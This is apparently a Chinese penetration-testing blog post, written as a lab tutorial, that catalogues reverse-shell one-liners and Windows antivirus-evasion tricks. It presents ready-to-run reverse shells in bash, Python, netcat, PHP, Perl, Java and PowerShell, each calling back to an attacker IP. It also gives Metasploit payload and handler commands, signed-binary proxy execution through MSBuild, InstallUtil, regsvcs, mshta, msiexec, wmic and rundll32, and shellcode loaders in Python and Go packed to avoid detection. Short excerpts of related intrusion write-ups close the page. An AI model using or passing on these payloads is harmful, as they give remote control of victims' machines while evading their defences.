反弹Shell的多种方式及Bypass

VSole2023-01-11 09:57:38

在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

  • 正向连接:我们本机去连接目标机器,比如ssh和mstsc
  • 反向连接:目标机器去连接我们本机

那么为什么反向连接会比较常用呢

  1. 目标机器处在局域网内,我们正向连不上他
  2. 目标机器是动态IP
  3. 目标机器存在防火墙

然后说一下我的实验环境

虚拟机采用nat模式

攻击机:Kali Linux :172.16.1.130

受害机:Centos 7 :172.16.1.134

常见姿势

Bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444

Centos运行

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1

当然你还可以这样

exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

这两个都是bash根据Linux万物皆文件的思想衍生过来的,具体更多bash的玩法你可以参考

https://xz.aliyun.com/t/2549

Python

攻击机Kali还是监听

nc -lvvp 4444

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门
https://www.leavesongs.com/PYTHON/python-shell-backdoor.html

NC

如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 4444

目标机器执行

nc 172.16.1.130 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.

PHP

攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本

Java 脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

Perl 脚本反弹

perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Powershell

目标机器执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

Msfvenom 获取反弹一句话

msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session

生成payload的方法参考生成msf常用payload,不再赘述

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z

那么讲到这里我们把一句话反弹shell的方式讲的差不多了,但是到这里我们又涉及到了一个免杀的问题。

我们首先需要知道的是目前的反病毒软件查杀,常见的有三种:

  1. 基于文件特征
  2. 基于文件行为
  3. 基于云查杀 实际也是基于特征数据库的查杀

到目前为止,我所知道的免杀姿势有以下几种

  1. Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode
  2. payload分离免杀 比如shellcode loader
  3. 换一门偏僻的语言来自己写反弹shell

而接下来的几种只适用于Windows。

攻击机:Kali Linux :172.16.1.130

受害机:Win 7 :172.16.1.135

Windows白加黑

白加黑需要的payload可以使用一句话下载姿势总结 把payload下载到目标机器,这里不再赘述。

MSBuild

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台
MSBuild可在未安装Visual Studio的环境中编译.net的工程文件
MSBuild可编译特定格式的xml文件
更多基本知识可参照以下链接:
https://msdn.microsoft.com/en-us/library/dd393574.aspx

意思就是msbuild可以编译执行csharp代码。

在这里我们需要知道的是msbuild的路径

加载32位的shellcode需要用32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加载64位的shellcode需要用64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task

我们用的是executes x64 shellcode.xml的模板,把里面45行之后的改为自己的shellcode

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

在目标机器上运行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

然后会话上线,某数字卫士无反应,并且正常执行命令

更多关于msbuild的内容可以参考三好学生师傅的文章


https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/

Installutil.exe&csc.exe

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
具体参考:Windows Installer部署(https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120))

通过msfvenom生成C#的shellcode


msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中

https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

csc编译InstallUtil-ShellCode.cs


C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发

InstallUtil.exe执行 反弹shell


C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
参考:https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

Regasm和Regsvcs

regasm和regsvcs都可以用来反弹shell的,而且方式也一样

下载这个cs文件(https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs) ,然后替换你的shellcode


msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs


sn -k key.snk

编译dll,注意文件的路径


C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

用这两者上线


 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll

或者这样


C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

上线成功。

Mshta

mshta是在环境变量里的


msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw > shellcode.bin
cat shellcode.bin |base64 ‐w 0

然后替换这个文件中的shellcode


https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

替换' ---------- DO NOT EDIT BELOW HERE -----------上面引号包起来的base64,可以将hta托管出来。


 mshta.exe http://baidu.com/shellcode.hta

在cobalt strike中mshta也是一个很方便的上线功能。

Msiexec简介

Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer  安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows  2003,Windows 7 等。

Msiexec已经被添加到环境变量了。


msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi > shellcode.txt

目标机执行


msiexec.exe /q /i http://172.16.1.130/shellcode.txt

Wmic

已经被添加到环境变量

POC


wmic os get /FORMAT:"http://example.com/evil.xsl"
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
     <ms:script implements-prefix="user" language="JScript">
     
     var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
     ]]> ms:script>
stylesheet
>
参考:利用wmic调用xsl文件的分析与利用(https://3gstudent.github.io/利用wmic调用xsl文件的分析与利用/)
这里还有一个poc:https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

Rundll32

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。


rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

也可以去执行msf生成的dll


rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll

在这我们先简单介绍这几种,还有compiler.exe odbcconf psexec ftp.exe等等。

在这里给出参考连接


micro8前辈:https://micro8.gitbook.io/micro8/contents-1#71-80-ke

Payload分离免杀

在这里也只介绍两种分离免杀的姿势

shellcode loader

借助第三方加载器,将shellcode加载到内存中来执行。

https://github.com/clinicallyinane/shellcode_launcher


msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶机执行

shellcode_launcher.exe -i test.c

msf监听正常上线

Csc和InstallUtil

不再赘述,参考上文白加黑

偏僻语言

实际上也不能说偏僻语言,原理是让杀软不识别文件的pe头。我们在这说两种。

Pyinstaller

py版的shellcode模板

#! /usr/bin/env python
# encoding:utf-8
import ctypes
def execute():
     # Bind shell
     shellcode = bytearray(
     "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
         ...
     "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
     "\x13"
      )
     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
     ctypes.c_int(len(shellcode)),
     ctypes.c_int(0x3000),
     ctypes.c_int(0x40))
     buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
     ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
     buf,
     ctypes.c_int(len(shellcode)))
     ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.c_int(ptr),
     ctypes.c_int(0),
     ctypes.c_int(0),
     ctypes.pointer(ctypes.c_int(0)))
     ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
     ctypes.c_int(-1))
if __name__ == "__main__":
     execute()
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py

使用pyinstaller打包

pyinstaller.py -F --console 1.py

和pyinstaller类似的还有py2exe,不再赘述。

Go+upx

package main
import "C"
import "unsafe"
func main() {
     buf := ""
     buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
     ...省略...
     buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
     // at your call site, you can send the shellcode directly to the C
     // function by converting it to a pointer of the correct type.
     shellcode := []byte(buf)
     C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

如果正常编译体积会很大,建议使用go build -ldflags="-s -w"参数来编译生成exe,你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

编译出来900多kb,在使用upx压缩一下会降低到200kb左右,也能正常上线。

shellmeterpreter
本作品采用《CC 协议》,转载必须注明作者和本文链接
在我们进入机器后,有时我们会在渗透后立即获得Meterpreter Shellmeterpreter shell是一个我们比较喜欢的shell,因为方便我们后续加载各种模块,因此,我们希望获得此Shell而不是Command Shell
0x01 突破边界拿下shell周末在家闲着没事突然就想搞事情了,然后使用Google hack语法输入批量搜索可能存在上传点的网站,试了好几个最后找到一个可利用的上传点。反弹shell&提权Linux下需要把shell反弹出来以方便我们操作,但是目标主机上既没有nc也没有python,查询相关资料后尝试了一下利用bash弹shell。在exploit-db中搜索此版本的相关漏洞,经过多次尝试,发现了下面这个exp来提升权限。一键开启远程桌面,建立隐藏账户,成功连入远程桌面。
在此活动检查流量之后,我们能通过流量检测工具识别会话期间所有已执行的命令。现在让我们在初始阶段启动后检查流量。在 TCP 握手之后,我们观察到成功的通信正在进行。检查的流量显示它在 SSL 握手后立即开始。然而,在这种情况下,我们会留下精心制作或默认证书的痕迹,这些证书也可以进行调查,这可能会导致基础设施或受到 IDS/IPS 签名的攻击。在此示例中,我们将使用Meterpreter 反向 tcp有效负载来测试我们的规避能力。
DMZ WebInformation GatheringWEB服务器,但是首页只有一个IIS 7的欢迎界面,所以先看一下端口顺便扫个目录。尝试对phpmyadmin mysql的root、admin、test账号做了enumeration,没什么效果,后面进行端口扫描的时候发现漏了一个端口这个前台面板看了下可以登陆ftp、mssql、mysql,简单的先尝试了几个弱口令无果。),这个版本注入应该,先注册用户然后可以跑出来admin的密码getshell比较简单,文件管理器->新建文件即可。DMZ Privilege Escalatioon拿到了webshell考虑弹一个msf meterpreter shell回来。
第 2 章 shell权限提升,简称提权。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。但它们默认情况下很少安装 Socat。模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。请注意,这并非特定于 Windows。
实战|记一次域渗透
2022-07-30 22:48:31
文章没有使用扫描模块或者nmap添加代理对内网扫描的过程。msf提供的代理模块是指,能供其他应用使用的代理。这就是为什么很多文章里写道,拿到一个shell后,会添加一条路由,再配置socks4a模块,然后修改proxychains4.conf文件了。其他用proxychains4使用代理的,比如proxychains4 nmap,是通过msf拿到的shell的转发出去的。
在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限。
VSole
网络安全专家